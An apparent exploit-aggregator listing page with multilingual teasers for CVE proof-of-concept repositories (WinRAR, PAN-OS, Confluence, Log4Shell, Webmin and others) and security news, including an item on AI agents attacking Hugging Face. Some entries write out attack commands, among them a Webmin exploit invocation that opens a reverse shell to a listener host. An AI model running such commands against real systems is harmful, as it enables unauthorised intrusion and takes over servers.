The AI agent swarm that attacked Hugging Face is a warning for the future

The hacking incident involving OpenAI evaluation agents and Hugging Face offers an unusually concrete look at what advanced AI-assisted intrusion can mean in practice: not a single clever exploit, but thousands of automated decisions, rapid experimentation, lateral movement, credential theft,...

CVE-2023-36319

CVE-2023-36319 Ao modificar o comando do plug-in de compressão, o atacante pode fazer com que o servidor execute comandos arbitrários durante o processo de upload. Usado apenas para testes de segurança autorizados, por favor, não o utilize para fins ilegais. As violações não têm relação com o...

CVE-2025-6218-WinRAR-RCE-POC

CVE-2025-6218: WinRAR Path Traversal RCE ⚠️ CRITICAL VULNERABILITY - Active Exploitation Confirmed CVE-2025-6218 è una vulnerabilità critica di path traversal in WinRAR che permette l'esecuzione di codice arbitrario. Attualmente sfruttata da APT groups come GOFFEE, Bitter APT-C-08 e Gamaredon. 📋...

Vulnerabilities in Wibu-Systems’ CodeMeter Runtime

Wibu-Systems has addressed several vulnerabilities in CodeMeter Runtime. These vulnerabilities are located in various components of CodeMeter Runtime, particularly in versions 8.41a and 9.10. A local attacker can exploit incorrect verification of NTFS reparse points when creating temporary files...

CVE-2024-3400-

PAN-OS Firewall Befehlseinschleusung Command Injection Schwachstelle Dieses Repository enthält ein Go-Skript, das eine Befehlseinschleusungsschwachstelle in Firewalls ausnutzt, die das Betriebssystem PAN-OS von Palo Alto Networks verwenden. Die unter CVE-2024-3400 identifizierte Schwachstelle...

CVE-2019-9194-elFinder-Command-Injection-PoC

CVE-2019-9194 — Iniezione di comandi in elFinder PoC Vulnerabilità di iniezione di comandi in elFinder = 2.1.47 tramite il componente connettore PHP. Consente l'esecuzione remota di codice non autenticata come utente del server web. Come funziona Carica un JPEG valido con un nome file malevolo...

CVE-2022-1388-EXP

CVE-2022-1388-EXP Este é o CVE-2022-1388-EXP Autor:Caps@BUGFOR Github:https://github.com/bytecaps Recriador:LinJacck Github:https://github.com/LinJacck Demonstração de Funcionalidades Modo de verificação: python CVE20221388.py -v -u targeturl Modo de ataque: python CVE20221388.py -a -u targeturl ...

Automated-scanner-CVE-2026-41940

CPANEL CVE EXPLOIT English | فارسی Persian root@kitploit: ██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗ ██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║ ██║ ██████╔╝███████║██╔██╗ ██║█████╗ ██║ ██║ ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝ ██║ ╚██████╗██║ ██║ ██║██║ ╚████║███████╗███████╗ ╚═════╝╚═╝ ╚═╝ ╚═╝╚═╝...

CVE-2021-27928

CVE-2021-27928 Neste repositório, você encontrará uma prova de conceito da exploração da falha CVE-2021-27928 por meio de um contêiner docker. root@kitploit: Exploit Title: MariaDB 10.2 /MySQL - 'wsrepprovider' OS Command Execution Date: 03/18/2021 Exploit Author: Central InfoSec Version: MariaDB...

python-inquestlabs

EINGESTELLT November 2025 inquestlabs Eine Pythonic-Schnittstelle und ein Befehlszeilenwerkzeug für die Interaktion mit der InQuest Labs API. Beachten Sie, dass für die Interaktion mit dieser API kein API-Schlüssel erforderlich ist. Ein API-Schlüssel bietet jedoch die Möglichkeit, den Lookback zu...

CVE-2019-16278

CVE-2019-16278 - Nostromo nhttpd RCE Schwachstellenbeschreibung Schwachstelle zur Ausführung von Remote-Code in Nostromo nhttpd Versionen 2&1...

CVE-2025-13780

CVE-2025-13780: pgAdmin 4 = 8.14 RCE-Scanner Ein umfassender Schwachstellenscanner für CVE-2025-13780 , eine Remote-Code-Ausführungs-Schwachstelle RCE in pgAdmin 4 Versionen ≤ 8.14. 🔍 Details zur Schwachstelle Die Schwachstelle befindet sich in der Wiederherstellungs -Funktion von pgAdmin 4. Die...

Scalar-Venom-Attack

Questo documento analizza le vulnerabilità crittografiche scoperte nelle moderne infrastrutture di gestione delle chiavi crittografiche, con particolare attenzione ai difetti critici nell'architettura dei moduli di sicurezza hardware HSM nella gestione delle chiavi private a curva ellittica. Lo...

CVE-2025-55182-exploit

⚠️ AVISO Esta ferramenta é destinada APENAS para testes de segurança autorizados e fins educacionais. Teste apenas sistemas que você possui ou para os quais tenha permissão explícita por escrito. O uso não autorizado é ilegal e antiético. Os desenvolvedores não assumem nenhuma responsabilidade por...

Exploit for CVE-2026-46339

CTT-Enhanced-CVE-2026-46339-Exploit-Engine A specialized Pytho...

China-Made ZBT Routers Ship With Two Implants Giving Unauthenticated Attackers Root Access

VulnCheck has disclosed two previously undocumented factory implants in firmware for routers built by Shenzhen Zhibotong Electronics ZBT, each of which gives an unauthenticated remote attacker the ability to run commands as root on affected devices. The implants, named SPEAKINGSTONE and DARKLANTE...

webmin_cve-2019-12840_poc

webmincve-2019-12840poc Un POC standalone per CVE-2019-12840. Di seguito verrà inviata una reverse shell sulla porta 443 root@kitploit: $ python3 CVE-2019-12840.py -u https://192.168.122.10 -U matt -P Secret123 -lhost 192.168.122.1 -lport 443 / \ \ / / | | \ / / |/ \ / | \ / | || | / \ | | \ \ /...

CVE-2022-26134

Sfruttamento attivo di Confluence CVE-2022-26134 Panoramica CVE-2022-26134 è una vulnerabilità critica di Esecuzione di codice in remoto RCE che colpisce Atlassian Confluence. Questa vulnerabilità consente ad attaccanti non autenticati di eseguire codice arbitrario iniettando espressioni OGNL neg...

Exploit for OS Command Injection in Synacor Zimbra_Collaboration_Suite

Wazuh Rules CVE-2026-73570 Zimbra OS Command Injection Dete...

CVE-2021-44228-poc

Log4Shell नमूना कमजोर अनुप्रयोग CVE-2021-44228 यह https://github.com/christophetd/log4shell-vulnerable-app का लगभग प्रतिलिपि/समान कमजोर अनुप्रयोग है। मुख्य अंतर ग्रेडल के बजाय मेवेन का उपयोग और rogue-jndi का उपयोग है। इस रिपॉजिटरी में एक मेवेन स्प्रिंग बूट वेब अनुप्रयोग है जो CVE-2021-44228 के...